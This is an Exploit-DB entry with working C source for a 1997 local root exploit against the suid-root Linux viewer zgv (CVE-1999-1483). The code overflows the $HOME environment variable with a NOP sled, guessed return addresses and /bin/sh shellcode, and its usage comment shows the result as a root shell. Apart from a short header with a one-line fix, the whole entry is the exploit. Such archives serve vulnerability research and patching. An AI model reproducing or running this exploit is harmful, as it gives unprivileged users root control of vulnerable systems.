zgv $HOME Overflow

1997-06-20T00:00:00
ID EDB-ID:339
Type exploitdb
Reporter BeastMaster V
Modified 1997-06-20T00:00:00

Description

zgv $HOME overflow. CVE-1999-1483. Local exploit for linux platform

                                        
                                            /*
 *
 * zgv exploit coded by BeastMaster V on June 20, 1997
 *
 * USAGE:
 *   For some strage reason, the filename length of this
 *   particular exploit must me one character long, otherwise you
 *   will be drop into a normal unpriviledged shell. Go Figure....
 *
 *   $ cp zgv_exploit.c n.c
 *   $ cc -o n n.c
 *   $ ./n
 *   Oak driver: Unknown chipset (id =  0)
 *   bash#
 *
 * EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
 * TEMPORARY FIX:  chmod u-s /usr/bin/zgv
 * NOTE: Don't forget to visit http://www.rootshell.com for more exploits.
 * DISCLAIMER: Please use this in a responsible manner.
 * 
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shellcode =
  "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
  "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"
  "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
  "\xcd\x80/"
  "/bin/sh"
  "0";

char *get_sp() {
   asm("movl %esp,%eax");
}

#define bufsize 4096
char buffer[bufsize];

main() {
  int i;

  for (i = 0; i < bufsize - 4; i += 4)
    *(char **)&buffer[i] = get_sp() -4675;

  memset(buffer, 0x90, 512);
  memcpy(&buffer[512], shellcode, strlen(shellcode));

  buffer[bufsize - 1] = 0;

  setenv("HOME", buffer, 1);

  execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
}

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